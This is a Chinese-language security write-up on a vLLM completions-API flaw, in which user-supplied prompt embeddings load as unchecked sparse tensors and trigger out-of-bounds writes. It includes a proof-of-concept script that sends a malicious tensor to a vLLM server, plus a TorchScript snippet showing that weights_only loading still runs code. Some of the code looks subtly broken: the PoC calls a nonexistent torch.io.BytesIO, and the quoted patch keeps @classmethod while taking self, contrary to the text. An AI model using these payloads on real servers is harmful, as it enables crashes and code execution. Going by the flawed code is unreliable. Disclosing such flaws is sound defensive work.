漏洞来源

漏洞描述

vLLM 是一个用于大型语言模型 (LLM) 的推理和服务引擎。在 0.10.2 到 0.11.1 版本之前,其补全 API 端点存在一个内存损坏漏洞,可能导致程序崩溃(拒绝服务攻击)甚至远程代码执行 (RCE)。该漏洞在处理用户提供的提示嵌入时,使用 `torch.load()` 加载序列化张量,但缺乏充分的验证。由于 PyTorch 2.8.0 引入的一项变更,稀疏张量完整性检查默认处于禁用状态。因此,恶意构造的张量可以绕过内部边界检查,并在调用 `to_dense()` 时触发越界内存写入。这种内存损坏会导致 vLLM 崩溃,并可能导致托管 vLLM 的服务器上的代码执行。此问题已在 0.11.1 版本中修复。

漏洞原理

该漏洞源于 vLLM 0.10.2 及更高版本在处理用户提供的 prompt_embeds(即预计算的嵌入向量)时,直接使用 torch.load(weights_only=True) 反序列化未经验证的 PyTorch 张量,并随后调用 .to_dense() 将其转为稠密张量;由于 PyTorch 自 2.8.0 起默认禁用了稀疏张量的完整性检查(如索引是否越界、是否重复等),而 vLLM 未显式启用 torch.sparse.check_sparse_tensor_invariants(True) 进行校验,攻击者可构造一个结构非法但格式合法的稀疏张量(例如 indices 超出张量 shape 范围),使其通过 weights_only=True 的类型限制并绕过所有显式验证,最终在 .to_dense() 的底层 C++ 实现中触发越界内存写入——这一内存破坏可导致服务崩溃(拒绝服务),在特定条件下甚至可能被利用实现远程代码执行(RCE),从而完全控制运行 vLLM 的服务器进程。

漏洞分析

在本地使用 PyTorch 构造一个语义非法但序列化格式合法的稀疏张量:

import torch

# 创建一个 shape 为 (10, 10) 的稀疏张量
# 但故意让 indices[1] = 1000000,远超第二维大小(10)
indices = torch.tensor([[0], [1000000]])   # 越界索引
values = torch.tensor([3.14159])
size = (10, 10)

# 构造稀疏张量(PyTorch 不会在构造时校验 indices 合法性)
malicious_sparse = torch.sparse_coo_tensor(indices, values, size)

然后将其序列化并 base64 编码,发送请求到 vLLM Completions API

在 vllm/entrypoints/renderer.py 中,函数 _load_and_validate_embed 被调用

def _load_and_validate_embed(embed: bytes) -> EngineEmbedsPrompt:
        tensor = torch.load(
            io.BytesIO(pybase64.b64decode(embed, validate=True)),
            weights_only=True,
            map_location=torch.device("cpu"),
        )
        assert isinstance(tensor, torch.Tensor) and tensor.dtype in (
            torch.float32,
            torch.bfloat16,
            torch.float16,
        )
        tensor = tensor.to_dense()

weights_only=True:阻止了反序列化 __reduce__、函数、类等,但允许任意 Tensor,assert 仅检查类型和数值类型(dtype),完全不验证张量结构,未启用稀疏张量校验上下文 → PyTorch 不会检查 indices 是否越界

https://xz.aliyun.com/news/18915这篇文章介绍了为什么引入了weights_only=True还可以继续进行反序列化,也就是在 torch.load 中还调用了torch.jit.load 方法,这个方法可以加载 TorchScript 模型,TorchScript 是 PyTorch 的一个中间表示(intermediate representation,IR),它允许将模型从 Python 代码中分离出来,并以一种优化后的方式进行执行。

更多细节可以参考:https://i.blackhat.com/BH-USA-25/Presentations/US-25-Jian-Lishuo-Safe-Harbor-or-Hostile-Waters.pdf

利用代码:

import torch   
  
class SimpleModule(torch.nn.Module):  
    def __init__(self):  
        super(SimpleModule, self).__init__()  
        self.linear = torch.nn.Linear(10, 5)  
  
    def forward(self):  
        torch.save("test","E:/tmp/1.txt")  
        return torch.zeros(0)  
  
module=SimpleModule()  
sc=torch.jit.script(module)  
sc.save("evil.bin")  
  
newModule=torch.load("evil.bin",weights_only=True)  
modins=newModule()

之后调用 .to_dense() 触发底层越界写入

漏洞POC

import torch
import base64
import requests

# Step 1: 构造越界稀疏张量
indices = torch.tensor([[0], [1000000]])  # 远超合理范围
values = torch.tensor([1.0])
size = (10, 10)
malicious_tensor = torch.sparse_coo_tensor(indices, values, size)

# Step 2: 序列化并编码
buf = torch.io.BytesIO()
torch.save(malicious_tensor, buf)
b64_embed = base64.b64encode(buf.getvalue()).decode()

# Step 3: 发送请求
resp = requests.post(
    "http://vllm-server/v1/completions",
    json={
        "model": "meta-llama/Llama-3-8b",
        "prompt_embeds": b64_embed,
        "max_tokens": 10
    }
)

漏洞修复

这是官方补丁

@classmethod
def load_prompt_embeds(
    cls,
    self,  # 新增 self 参数
    prompt_embeds: bytes | list[bytes],
    truncate_prompt_tokens: Annotated[int, Field(ge=0)] | None = None,
    cache_salt: str | None = None,
) -> list[EngineEmbedsPrompt]:
    """Load and validate base64-encoded embeddings into prompt objects."""
    if not self.model_config.enable_prompt_embeds:
        raise ValueError("You must set `--enable-prompt-embeds` to input `prompt_embeds`.")

原本是 @classmethod,现在改为普通方法,接收 self。这意味着该方法需要实例调用,且能访问 self.model_config

if not self.model_config.enable_prompt_embeds:
    raise ValueError(...)

新增检查逻辑:只有当用户启用 --enable-prompt-embeds 时才允许传入 prompt_embeds。默认关闭危险功能。